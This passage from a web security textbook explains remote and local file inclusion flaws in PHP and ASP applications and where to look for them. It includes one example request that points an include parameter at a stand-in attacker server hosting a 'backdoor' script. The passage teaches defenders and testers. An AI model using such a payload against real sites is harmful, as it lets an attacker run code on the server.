the-web-application-hackers-handbook

382 Chapter 10 n Attacking Back-End Components
An attacker can exploit this behavior in different ways, the most serious of
which is to specify an external URL as the location of the include file. The PHP
include function accepts this as input, and the execution environment retrieves
the specified file and executes its contents. Hence, an attacker can construct
a malicious script containing arbitrarily complex content, host this on a web
server he controls, and invoke it for execution via the vulnerable application
function. For example:
https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
Local File Inclusion
In some cases, include files are loaded on the basis of user-controllable data, but
it is not possible to specify a URL to a file on an external server. For example,
if user-controllable data is passed to the ASP function Server.Execute, an
attacker may be able to cause an arbitrary ASP script to be executed, provided
that this script belongs to the same application as the one that is calling the
function.
In this situation, you may still be able to exploit the application’s behavior to
perform unauthorized actions:
n There may be server-executable files on the server that you cannot access
through the normal route. For example, any requests to the path /admin
may be blocked through application-wide access controls. If you can cause
sensitive functionality to be included into a page that you are authorized
to access, you may be able to gain access to that functionality.
n There may be static resources on the server that are similarly protected
from direct access. If you can cause these to be dynamically included
into other application pages, the execution environment typically simply
copies the contents of the static resource into its response.
Finding File Inclusion Vulnerabilities
File inclusion vulnerabilities may arise in relation to any item of user-supplied
data. They are particularly common in request parameters that specify a language
or location. They also often arise when the name of a server-side file is
passed explicitly as a parameter.